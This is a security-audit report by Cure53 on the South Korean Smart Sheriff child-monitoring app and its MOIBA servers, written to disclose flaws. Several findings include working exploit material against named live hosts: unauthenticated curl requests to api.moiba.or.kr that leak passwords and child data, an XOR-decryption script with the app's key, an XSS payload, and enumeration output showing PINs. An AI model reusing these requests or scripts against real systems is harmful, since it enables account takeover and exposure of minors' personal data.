Pentest-Report Smart Sheriff 07.2015

Cure53, Dr.-Ing. M. Heiderich, Fabian Fäßler, Dipl.-Ing. Abraham Aranguren

Index

Introduction

"In South Korea, the media regulator is bringing in a controversial new rule for smartphones purchased for use by anyone under the age of 19 - the installation of Smart Sheriff, an app which monitors Web browsing on the device, blocks websites that appear on a banned list, and will alert parents to the use of certain keywords."

From http://www.digitaltrends.com/mobile/smart-sheriff-tracker-app-south-korea/

"An activist organization, Open Net Korea, has called the app the equivalent of installing surveillance cameras in teenagers's phones, without public consultation, and is challenging the regulation in court. There are concerns that introduction of the app for teenagers is only the first step, preparing the ground for introduction of a similar app for adults. As of June 2015 the app has been downloaded about 500,000 times."

From https://en.wikipedia.org/wiki/Smart_Sheriff

This penetration test against the Smart Sheriff android app was carried out by three testers of the Cure53 team and took four days total to complete. The test was initiated by the Open Technology Fund, and, importantly, the owner and maintainer of the Smart Sheriff app, MOIBA, was ***not*** informed about this test. The team did not get access to the sources of the app but had to first retrieve the APK[1] from a Korean APK download service, deflate the file, decompile the DEX file[2] and then analyze the resulting sources.

The Smart Sheriff app intends to allow parents to surveil and control the activities of their children (as mandated by the South Korean government, which means that even young adults up to the age of nineteen are subject to this regulation). The app consists of two components, namely the "parent-app" and the "child-app". The parent-app gets to "know" the phone on which the child-app is installed on. After registering the child-app, the "parent-app" can conduct surveillance and manipulate the way that the person running the child-app is using the phone and control the availability of various Internet services.

Although the test was planned as a short assessment aiming to identify low hanging fruit, the final result comprises an overall of eighteen individual issues. Several of them were crucial and classified as critical. This number outlines the catastrophic state of application and server-security exposed by the app and the connected APIs. The app can by no means by recommended for use as the identified security vulnerabilities allow for trivial remote exploitation, severe information leakage, and privacy breaches. Anyone using the app, be it the parent-app or the child-app, is accepting a huge security risk and essentially exposes the entirety of the phone and all of its contained data to attacks involving data theft, manipulation, phone takeover and similar problems. A remote attacker only needs to know or guess (brute-force) a phone number of one or many targeted people running the app. This is basically all that is needed to be able to gain full control over the targeted phone(s).

[1] https://en.wikipedia.org/wiki/Android_application_package
[2] https://source.android.com/devices/tech/dalvik/dex-format.html

The test has confirmed and proven the substantially important assumption that the Smart Sheriff app was written without ***any*** security in mind. The connected API services are architectured and implemented in similarly horrendous ways, allowing trivial exposure of passwords and other highly sensitive user data and PII.[3] Given the level of vulnerability this app exposes, combined with extremely high numbers of its users, it needs to be considered that at least some of the issues published in this report must have started to be actively exploited by now.

Scope

- **Smart Sheriff APK**
- **Smart Sheriff Decompiled Sources**

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact, which is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier *(*e.g. *SMS-01-00X)* for the purpose of facilitating any future follow-up correspondence.

SMS-01-001 Possible Remote Code Execution via MitM in WebView *(**Critical**)*

After downloading the APK and decompiling the DEX file, a simple full-text search unveiled the first critical security issue. This vulnerability allows an attacker to get control over a phone running the Smart Sheriff app by abusing insecure usage of Android's JavaScript Interfaces for WebViews.[4]

Affected Code (decompiled source):

```
Object obj1 = "http://ssweb.moiba.or.kr/pushAlarm";
_L6:
        WebView webview = (WebView)findViewById(0x7f070000);
        webview.setWebViewClient(new l(this));
        webview.getSettings().setJavaScriptEnabled(true);
        webview.getSettings().setSavePassword(false);
        webview.getSettings().setSaveFormData(false);
        webview.addJavascriptInterface(new JavaScriptInterface(),
          "SmartSheriff");
        webview.setWebChromeClient(new kr.co.wigsys.sheriff.ui.f(this));
        webview.postUrl(((String) (obj1)), ((String) (obj)).getBytes());
```

Given that all network traffic between the app and the MOIBA API servers is locked to use HTTP, a MitM attack[5] can be trivially executed by any attacker who manages to lure a victim into a malicious WiFi network.

[3] https://en.wikipedia.org/wiki/Personally_identifiable_information
[4] http://developer.android.com/reference/android/webkit/JavascriptInterface.html
[5] https://en.wikipedia.org/wiki/Man-in-the-middle_attack

Consequently, a reliable and simple to use remote code execution vector[6] is achieved. Note, however, that the affected versions of Android range from 2.4 to 4.1 (API Level 17, included). Later versions are only affected if a public method is annotated with *@JavaScriptInterface*, which is not the case for this app as far as the decompiled sources indicated.

SMS-01-002 Possible Filter-Bypass via unsafe URL check *(Medium)*

The app uses a WebView method called `shouldOverrideUrlLoading()`[7] to determine whether a URL should be loaded or blocked. This method is implemented in a vulnerable way because it checks the URL string for certain values and makes use of the string-method `contains()`.[8] This means that *any* URL, even if blacklisted, can be requested, as long as the string *ssweb.moiba.co.kr* is simply attached. Then, the `contains()` method call will return a *true* and the URL will be considered whitelisted.

Affected Code (decompiled source):

```
function shouldOverrideUrlLoading:
s.startsWith("market://") || s.startsWith("tel:") || s.startsWith("http") && !
s.contains("ssweb.moiba.or.kr")
```

The way this test is being constructed shows that the blacklisting feature was not built with security in mind. Trivial bypasses like this imply a lack of understanding regarding how URLs and filters work.

SMS-01-003 No use of any SSL/TLS-based transport security *(High)*

All network requests made by the Smart Sheriff mobile app are executed using insecure clear-text HTTP, hence sending personal information, mobile numbers, passwords, etc. without any cryptographic protection such as SSL/TLS. This is especially concerning in a mobile app, given that mobile devices generally favor WiFi over mobile data usage.

The test could not identify a single HTTP request using the scheme *https://* at runtime and a number of searches on the reversed APK yielded no results for “https”-URLs:

```
$> grep -r  moiba.or.kr source/ | tr '"' " " | tr " " "\n" | grep https | wc -l
$> 0
```

This finding shows that the entire architecture employed by the app was constructed with no attention to transport security whatsoever. Since there are no encrypted connections being used, anyone with access to the network that a Smart Sheriff user is operating in can almost arbitrarily manipulate phone and app via MitM.

[6] https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-execution/

[7] http://developer.android.com/reference/android/webkit/WebViewClient.html#shouldOverrideUrlLoading%28android.webkit.WebView,%20java.lang.String%29

[8] http://docs.oracle.com/javase/7/docs/api/java/lang/String.html#contains%28java.lang.CharSequence%29

SMS-01-004 Smart Sheriff Test-Page leaks Application-Internals *(Medium)*

The websites and web services the Smart Sheriff app communicates with are riddled with pointers and URLs exposing debug pages, test-pages and similar clutter that should never be published on a production system. These pages delivered a lot of internal info that could later be used to exfiltrate data and carry out further attacks. This ticket lists some of the findings.

Information Leakage on ssweb.moiba.or.kr:

- http://ssweb.moiba.or.kr/index_.jsp
- http://ssweb.moiba.or.kr/html/filelist.html

Information Leakage on ssadm.moiba.or.kr

PoC:

```
curl -i 'http://ssadm.moiba.or.kr/'
```

Server Response:

```
...
<li><a href='/index'>관리자메인</a></li>
<li><a href='/subMain'>서브메인메인</a></li>
<li><a href='/harm/app/list'>유해정보관리</a>
       <ul>
       <li><a href="/harm/app/appList">앱관리</a></li>
       <li><a href="/harm/site/list">사이트관리</a></li>
       <li><a href="/harm/accept/acceptList_app">앱/사이트 접수 관리</a></li>
       </ul>
</li>
<li><a href='/member/admin/memberAdm'>가입자관리</a>
<li><a href='/minwon/minwonList'>민원관리</a>
<li><a href='/home/report/list'>홈페이지</a></li>
</ul>

<p>
<a href='/html/filelist.html'>디자인</a><br/><br/>
<a href='/minwon/minwonPushTest'>Push TEST</a><br/><br/>
<a href='/minwon/livePushTest'>Live Push TEST</a><br/>
<a href="minwon/logPushTest">log Push Test</a></br>
</p>
</body>
</html>
```

Among the highlighted parts the URL http://ssadm.moiba.or.kr/html/filelist.html is considered most interesting. This is due to the fact that it is available without any authentication and reveals a large amount of information, including the list of URLs below. The information was extremely fruitful for understanding the inner-workings of the app and led to several other findings listed in later sections of this report:

- http://ssadm.moiba.or.kr/html/petition/petition_list.html
- http://ssadm.moiba.or.kr/html/petition/petition_history.html
- http://ssadm.moiba.or.kr/html/petition/petition_push.html
- http://ssadm.moiba.or.kr/html/petition/petition_sms.html

SMS-01-005 Insufficient cryptographic XOR Protection for sensitive Data *(High)*

The application “encrypts” data such as Phone numbers and device IDs with a simple XOR operation. This is insufficient to protect any of the encrypted entries. The key for this operation can either be easily reverse-engineered or extracted from the decompiled sources of the app, allowing an attacker to decrypt any of the protected data.

The example script below shows that even if the key is now known to an attacker, the cryptography in use by the app can be fully bypassed with the use of a simple and well-known plaintext attack.

Example Script:

```
XORdecrypt("]5Z[redacted]5]") == '0555[redacted]'
def XORdecrypt(s):
    abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115,
        121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105,
        110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107]
    abyte0 = [0 for c in s]
    abyte1 = [ord(c) for c in s]
    j = 0;
    k = 0;
    while True:
        abyte0 = [i for i in abyte1]
        l = len(s)
        if k>=l:
            abyte0 = [i for i in abyte1]
            return "".join([chr(c) for c in abyte0])
        else:
            abyte1[k] = abyte1[k]^abyte2[j]
            j+=1
            abyte0 = [i for i in abyte1]
            l = len(s)
            if j>=l:
                j=0
            k+=1
```

This particular way of obfuscating important information again proves that the app was not conceived and written as secure or privacy-oriented endeavor. All “encrypted” information can be decoded trivially and allow any attacker to get hands on sensitive information and perform API calls to leak additional data.

SMS-01-006 Smart Sheriff API allows universal Password Leak *(**Critical**)*

Any attacker who has knowledge of a phone number tracked and surveilled by the Smart Sheriff application can get access to the password associated with the account. This can be done through a Smart Sheriff Server API that is offering password retrieval as a feature. The use of the API entails a simple, unauthenticated request being sent, followed by receiving and reading a response.

Affected URL:
http://api.moiba.or.kr/MessageRequest

Example Request:
```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'request={"action":"CLT_MBR_GETCLIENTMEMBERINFO","MOBILE":"]5Z[redacted]5]"}'
```

The response consists of JSON data containing a “PASSWORD” and “PARENT_MOBILE” field. The interesting data is “encrypted” with a simple XOR key (see SMS-01-005), which can be extracted from the Android app. To prove the criticality of this attack, a simple script was created to enumerate phone numbers, find associated parent numbers, and then unveil their passwords. The script was ran for a few hours uninterrupted and yielded several dozens of datasets. Some of them are outlined below.

```
CHILD  : 0105[redacted] - pw: 0879  -> parent number 0103[redacted]
CHILD  : 0105[redacted] - pw: 0879  -> parent number 0103[redacted]
CHILD  : 0103[redacted] - pw: 8493  -> parent number 0105[redacted]
PARENT : 0105[redacted] - pw: 8493
PARENT : 0106[redacted] - pw: 0878
CHILD  : 0103[redacted] - pw: 0878  -> parent number 0106[redacted]
PARENT : 0108[redacted] - pw: 2580
CHILD  : 0108[redacted] - pw: 2580  -> parent number 0108[redacted]
CHILD  : 0105[redacted] - pw: 2580  -> parent number 0108[redacted]
PARENT : 0105[redacted] - pw: 5912
CHILD  : 0108[redacted] - pw: 1004  -> parent number 0108[redacted]
PARENT : 0108[redacted] - pw: 1004
```

While a password length of four characters (a.k.a. PIN) is insufficient to protect any information of sensitive nature, this API feature takes the burden of brute-forcing 10000 numbers off the attacker and exposes the passwords directly. Note that based on the phone number the child-app uses, the parent number and the connected password can be extracted. Let us reiterate that this constitutes all information necessary for fully compromising the apps and the phones hosting them.

SMS-01-007 Smart Sheriff leaks parent phone numbers *(Medium)*

The Smart Sheriff login page and API leaks parental phone number whenever their child's phone number is known. API leak can be seen in SMS-01-006. For the login page, simply passing a child's number either via a POST request or passing a "MOBILE" parameter in the URL unveils the parent's phone number.

Example Script:

```
MOBILE=$(php -r "echo urlencode('$(python xor.py 0555[redacted])');"); curl -s
"http://ssweb.moiba.or.kr/main/login?MOBILE=$MOBILE" | lynx --dump -stdin
-nolist | grep '\['
```

Resulting Server Response:

```
[0102[redacted]_____]
```

SMS-01-008 Reflected XSS via CHILD_MOBILE on ssweb.moiba.or.kr *(Medium)*

The member registration form fails to output-encode user-input prior to rendering it on the HTML page. This could be leveraged by an attacker to execute JavaScript in the security context of the *ssweb.moiba.or.kr* domain, hence signifying an option to impersonate application users.

Example Script:

```
curl -s --data 'OS_TYPE=A&CHILD_MOBILE=<script>alert(1)</script>'
'http://ssweb.moiba.or.kr/member/pmemberRegisterPwdForm' | grep -B 2 -A 2
'alert(1)'
```

Resulting Server Response:

```
...
<td class="telnum">
<p>
<script>alert(1)</script>
</p>
```

SMS-01-012 Unsafe Mobile App Data Storage on SD Card *(High)*

The Smart Sheriff Mobile app defeats the built-in protections provided by the Android operating system by saving sensitive data in clear-text on the SD Card.[9] Other apps could write to or read the SD Card. Similarly bad possible scenario includes an extraction of the SD Card without needing to know the pin or pattern to unlock the phone.

The following example code snippets were found during our code audit:

Example 1: Copy of the entire *SmartSheriff.db* from internal storage (protected) onto the SD Card (unprotected)

[9] https://en.wikipedia.org/wiki/Secure_Digital

Affected File: *source/src/kr/co/wigsys/sheriff/ui/ab.java*

Vulnerable Code:

```
Object obj = new File((new
StringBuilder()).append(Environment.getDataDirectory()).append("/data/com.gt101.
cleanwave/databases/SmartSheriff.db").toString());
Object obj1 = new File(Environment.getExternalStorageDirectory(), "");
if (!((File) (obj1)).exists())
{
     ((File) (obj1)).mkdirs();
}
obj1 = new File(((File) (obj1)), ((File) (obj)).getName());
FileChannel filechannel;
FileChannel filechannel1;
Exception exception;
try
{
    ((File) (obj1)).createNewFile();
    obj = new FileInputStream(((File) (obj)));
    obj1 = new FileOutputStream(((File) (obj1)));
    filechannel = ((FileInputStream) (obj)).getChannel();
    filechannel1 = ((FileOutputStream) (obj1)).getChannel();
}
```

Example 2: Saving the UI block history pages on the SD Card

Affected File: *source/src/kr/co/wigsys/sheriff/service/a.java*

Vulnerable Code:

```
public static String r = "file:///mnt/sdcard/smartshreff";
   static String s = "blockhistory.html";
   static String t = "blockforward.html";
   static String u = "blocksite.html";
   static String v = "back_blockContents.png";
   static String w = "btn_gotohome.png";
   static String x = "p_blockhistory.html";
   static String y = "p_blockforward.html";
   static String z = "p_blocksite.html";
...
Object obj = Environment.getExternalStorageDirectory();
r = (new StringBuilder("file://")).append(((File)
(obj)).getPath()).append("/smartshreff/").toString();
B = new File((new StringBuilder(String.valueOf(((File)
(obj)).getPath())))).append("/smartshreff/").append(s).toString());
D = new File((new StringBuilder(String.valueOf(((File)
(obj)).getPath())))).append("/smartshreff/").append(u).toString());
```

Note that this ticket does not expire the long list of all instances of vulnerable code and insecure data storage, but rather employs the aforementioned examples for illustration purposes. As with other issues listed in this report, the scale of the problem clearly indicates that neither thoughts on security nor dedication to privacy accompanied this feature' planning and building process.

SMS-01-014 Complete lack of crypto storage protections on Mobile app *(Medium)*

The Smart Sheriff mobile app does not implement any form of cryptographic protection on the mobile internal storage, similarly neglecting the SD card or the tasks linked to the communication with the Server. All data is stored in unencrypted plain-text and can be accessed by anyone with access to the phone. Analogically, any other app that is running on the phone can potentially gain insight (see also SMS-01-012).

SMS-01-015 API leaks Personal data of Users of the Child-App *(High)*

Similar to SMS-01-006, the server-side Smart Sheriff API can be used to unveil the name, age and usage statistics of a child. Alternatively, the password can be used to login to the parent's account and access this information:

Example Request:
http://ssweb.moiba.or.kr/main/selfUseStatus?MOBILE_NUMVAL=01[redacted]9

Sample Screenshots:

Fig.: Sample screenshots displaying personal data, names, usage patterns etc.

SMS-01-016 Modifying Child-App Protection Settings *(Medium)*

As previously mentioned in tickets SMS-01-006 and SMS-01-016, the Smart Sheriff Server API can be used to retrieve the password of the parent-app, which can then be used to login and change the restrictions for a child-app. It is therefore possible for an attacker to act as an arbitrary parent-app and add the child's phone to another account. This completely defeats the intended purpose of attaining a safer phone environment, instead endangering children's data and, ultimately, their safety.

SMS-01-017 Faking Child's Phone Usage *(High)*

It was already pointed out that the Smart Sheriff Server API lacks any form of authentication. Thus it is possible to impersonate a child's phone just by knowing their phone number. This can be used to, for example, falsify usage statistics and create a fake list of installed apps. Evidently this could get a child in trouble.

SMS-01-018 Complete lack of authentication on most API calls (***Critical***)

In general, the Smart Sheriff does not require any cookie authentication (a session ID or the like) or any form of authentication to perform a broad number of operations on behalf of the user. To add to this, even the DEVICE_ID parameter can be omitted from most API calls and they will still return a result without a problem.

By now it is clearly not surprising that the MOBILE parameter only has to be XOR encoded, explaining why the MOBILE parameter is *"]5Z[redacted]5]"* on all API requests below:

XOR IN	XOR OUT
]5Z[redacted]5]	0555[redacted]
0555[redacted]	]5Z[redacted]5]

Example 1: *CLT_MBR_GETCLIENTMEMBERINFO*: Password Leak, Child Data, etc.

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"whatever",
"MOBILE":"]5Z[redacted]5]", "DEVICE_ID":"whatever" }' > tmp.txt ; cat tmp.txt |
php -r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

```
{"CHILD_GRADE_TYPE":"G","CHILD_BIR_YMD":"19[redacted]3","MEMBER_YN":"Y","CHILD_BLC
K_GRADE":"2","PASSWORD":"]0_Y","PARENT_MOBILE":".3Z[redacted]JC","REGISTRATION_ID"
:"[redacted]-
QVCzAfxKuNv[redacted]","DIVN":"CHILD"}
```

(Password and Parent mobile XOR decode to: 0000 and C[redacted]7 respectively)

Example 2: *CLT_BLCK_SYNCALLCONTENTS*: Get Password, Date of Birth, etc.

Example Request:

```
 curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_BLCK_SYNCALLCONTENTS", "DOWNLOAD_MARKET_TYPE":"PLAY",
"PROCESS_DETECT_TYPE":"LOOP", "DEVICE_ID":"whatever","CONTENTS_TYPE":"ALL",
"MOBILE":"]5[redacted]5]" }' > tmp.txt ; cat tmp.txt | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

Server Response:

```
{"SYNC_APP_LIST":{"BLCK_ACT_DIVN":[],"BASIC_TYPE_YN":
[],"RESULT_COUNT":"0","BAD_BLCK_GRADE":[],"PACKAGE_ID":[],"BROWSER_TYPE_YN":
[]},"SYNC_TIME_INFO":{"RESULT_COUNT":"0","WEEKVALUE":[],"PACKAGE_ID":
[],"STARTTIME":[],"ENDTIME":[]},"SYNC_CHILD_INFO":
{"SYNC_REQUEST_STATUS":null,"CHILD_GRADE_TYPE":"G","RESULT_COUNT":"1","CHILD_BIR
_YMD":"19[redacted]3","PROCESS_DETECT_TYPE":"LOOP","CHILD_BLCK_GRADE":"2","PASSWOR
D":"]0_Y","VALID_MEMBER_YN":"Y","DIVN":"CHILD"}}
```

Example 3: *CLT_BLCK_SYNCAPPAPPLYINFO*: List all installed Apps on Device

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data '{"DEVICE_ID":"whatever",
"MOBILE":"]5[redacted]5]", "action":"CLT_BLCK_SYNCAPPAPPLYINFO" }' > tmp.txt ; cat
tmp.txt | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

```
{"BASIC_TYPE_YN":[null,...,null,"N",...,"N",null,...,null],"PACKAGE_ID":
["com.ilegendsoft.mercury","com.netnaru.playxp","com.cloudmosa.puffin","com.tenc
ent.international.mtt","com.Snstar","com.afbl.integratedsearch","com.appsverse.p
rivatebrowser","com.opera.browser.classic",[redacted]...
"me.android.browser","com.netpia.NLIABrowser","kr.co.waffleapp.invisible.browser
","giil.favorites","com.fillforce.mybrowser","com.mkiisoft.popup","com.exsoul"],
"BROWSER_TYPE_YN":["Y",...,"Y"]}
```

Example 4: *CLT_MBR_SYNCMOBILEDEVICEINFO*: Change Registration Settings

Example Request:

```
 curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_SYNCMOBILEDEVICEINFO", "MOIBILE_DEVICE_VENDER":"whatever",
"MOIBILE_DEVICE_MODEL":"whatever", "MOIBILE_ANDROID_VER":"1",
"MOIBILE_ANDROID_RELEASE":"1.2.3", "SYSTEM_APP_VER_NAME":"1.2.3",
"SYSTEM_APP_VER_CODE":1, "DOWNLOAD_MARKET_TYPE":"PLAY", "DEVICE_ID":"whatever",
"MOBILE":"]5[redacted]5]" }' > tmp.txt ; cat tmp.txt | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

Server Response:

```
{"resultSet":[{"REG_YN":"S","STATUS":"S"}],"size":"1"}
```

Example 5: *CLT_BLCK_GETTIMEBLOCKINFO*: Retrieve Blocking Rules

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data '{ "DEVICE_ID":"abc",
"MOBILE":"]5[redacted]5]", "action":"CLT_BLCK_GETTIMEBLOCKINFO" }' > tmp.txt ; cat
tmp.txt | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

```
{"RESULT_COUNT":"2","WEEKVALUE":["127","127"],"PACKAGE_ID":
["ALL","ALL"],"STARTTIME":["0000","0403"],"ENDTIME":["0307","2400"]}
```

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid attackers in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

SMS-01-009 Multiple TLS Misconfiguration issues *(Info)*

The Smart Sheriff's backend server (located at IP address 211.110.12.203) has a TLS listener that is misconfigured and vulnerable to the following issues:

- Prone to MiTM attacks via insecure renegotiation
- SSL 3 support
- Weak (SHA1) certificate signature
- The server solely supports old protocols like SSLv3 and TLS 1.0
- The insecure RC4 cipher is supported
- Secure renegotiation is not supported
- Forward Secrecy is not supported
- The server certificate chain is incomplete

SSL-Labs Test Result:
https://www.ssllabs.com/ssltest/analyze.html?d=ssweb.moiba.or.kr&hideResults=on

It is important to note that the server available on IP address 211.110.12.203 hosts the following domains:

- http://api.moiba.or.kr
- http://ssweb.moiba.or.kr

- http://ssadm.moiba.or.kr
- http://ss.moiba.or.kr
- http://sd.moiba.or.kr

SMS-01-010 Multiple Instances of outdated Software on API Servers *(Medium)*

The Smart Sheriff's backend server (available on IP address 211.110.12.203) is run on top of outdated software, known to be vulnerable to a breadth of security issues. For example, *ssweb.moiba.or.kr* is running Apache/2.0.65, which was released in July 2013 and is no longer supported.[10] However, certain URLs are processed by an even older Apache version, namely Apache/2.0.59. An example of this is the sensitive MessageRequest API endpoint.

Apache in version 2.0.59 is known to be vulnerable to several distinct security issues, including examples from the following list:

- **CVE-2011-3192**[11] - CVSS 7.8 - The byte range filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges. It was exploited in the wild in August 2011 and constitutes a vulnerability different from CVE-2007-0086.
- **CVE-2013-2249**[12] - CVSS 7.5 - *mod_session_dbd.c* in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 proceeds with save operations for a session without considering the dirty flag and the requirement for a new session ID, which signifies unspecified impact and remote attack vectors.
- **CVE-2009-1890**[13] - CVSS 7.1 - When a reverse proxy is configured, the stream_reqbody_cl function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server before 2.3.3 does not properly handle an amount of streamed data that exceeds the Content-Length value. This allows remote attackers to cause a denial of service (CPU consumption) via crafted requests.
- **CVE-2009-1891**[14] - CVSS 7.1 - The mod_deflate module in Apache httpd 2.2.11 and earlier compresses large files until completion, even after the associated network connection is closed. It allows remote attackers to cause a denial of service (CPU consumption).

Apache Tomcat 6.0.29 is also used to serve most URLs, regardless of being outdated and vulnerable to a number of security issues, including the following:

[10] http://news.netcraft.com/archives/2014/02/07/are-there-really-lots-of-vulnerable-apa...servers.html
[11] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3192
[12] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2249
[13] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1890
[14] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1891

- **CVE-2014-0230**[15] - CVSS 7.8 - Apache Tomcat 6.x before 6.0.44, 7.x before 7.0.55, and 8.x before 8.0.9 does not properly handle cases where an HTTP response occurs before finishing the reading of an entire request body. Thus, it allows remote attackers to cause a denial of service (memory consumption) via a series of aborted upload attempts.
- **CVE-2011-3190**[16] - CVSS 7.5 - Certain AJP protocol connector implementations in Apache Tomcat 7.0.0 through 7.0.20, 6.0.0 through 6.0.33, 5.5.0 through 5.5.33, and possibly other versions, allow remote attackers to spoof AJP requests, bypass authentication, and obtain sensitive information by causing the connector to interpret a request body as a new request.
- **CVE-2013-2067**[17] - CVSS 6.8 - The form authentication feature in Apache Tomcat 6.0.21 through 6.0.36 and 7.x before 7.0.33 does not properly handle the relationships between authentication requirements and sessions. This allows remote attackers to inject a request into a session by sending this request during a completion of the login form. This is a variant of a session fixation attack.

This ticket proves that there is no server-side administration that adequately maintained the API servers in place. It is not ensured that the tool can withstand attacks and the services offered by server and API suffer from similar weaknesses, if not worse.

SMS-01-011 Mobile App exposes Test-Servers and Debug Tools *(Info)*

The mobile app reveals a number of URLs that reside on the MOIBA servers but should neither be exposed to the Internet nor used in the sources of a production app. This includes URLs from the following list, specifically URLs that indicate that their sole purpose is to offer test and debug features:

- http://192.168.0.5:8083
- http://220.117.226.129
- http://220.117.226.129:8082
- http://220.117.226.129:9090/demo-gcm-server
- http://hikdev.cafe24.com/demo-gcm-server

It is assumed that the demo servers and debug software in place enlarges the attack surface even more. Nevertheless, given the gravity of other spotted issues and the scope of this audit, this path of further exploration was not followed.

SMS-01-013 Multiple Insecure Concatenations on Mobile app *(Medium)*

The Smart Sheriff mobile app does not follow security best practices and performs a large number of string concatenations for generating SQL queries and intents. In addition to this, there is no apparent input validation preceding these concatenations. In the following, one can observe some examples found during the code audit:

[15] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0230
[16] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3190
[17] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2067

Affected File: *source/src/kr/co/wigsys/sheriff/b/a.java*
Vulnerable Code:

```
obj6 = ((PackageManager) (obj3)).queryIntentActivities(((Intent) (obj4)), 8192);
obj7 = ((PackageManager) (obj5)).queryIntentActivities(((Intent) (obj)), 8192);
kr.co.wigsys.sheriff.d.a.c(kr.co.wigsys.sheriff.d.c.b(), (new
StringBuilder("[")).append(kr.co.wi
gsys.sheriff.d.c.c()).append("] App = [").append(s).append("] stop db update
ret_value = [").append(j).append("]").toStri
ng());
```

Once again the gravity and severity of other findings discussed in this report logically prevented the testers from attempts to conduct SQL injection attacks against the app. The code, however, demonstrated that the vulnerability exists and can be exploited on the occasion of other attacks having been somehow mitigated.

Conclusion

The Smart Sheriff mobile apps (parent-app and child-app), as well as the server-side architecture, API and other exposed interfaces, tremendously lack security in every imaginable aspect. It can only be called irresponsible to publish such an app, not to mention the gravity of having it as a mandatory installation. Obligatory utilization of this app for each and every mobile user below a certain age threshold should clearly be considered feckless. The app was downloaded and is presumably used by more than half a million consumers. It therefore marks a significantly large attack surface, offering a vast and rich exploitation potential. It is in fact surprising that no reports of large scale abuse have been published thus far.

In order to reach a level of acceptable security and privacy, each and every aspect of the app and its surrounding servers and APIs need to be changed dramatically. None of the areas this short test has shed light on were even remotely fit for production use. Moreover, it is reckless to have its widespread use affecting hundreds of thousands of users across various dimensions. It is unclear how this app has ever managed to pass basic tests and how the identified security issues could have gone unnoticed for several weeks if not months.

Cure53 would like to thank Adam Lynn and Chad Hurley of the Open Technology Fund in Washington[18] for this interesting project. We would like to express gratitude for their continuously good support and assistance during this assignment.

[18] https://www.opentechfund.org/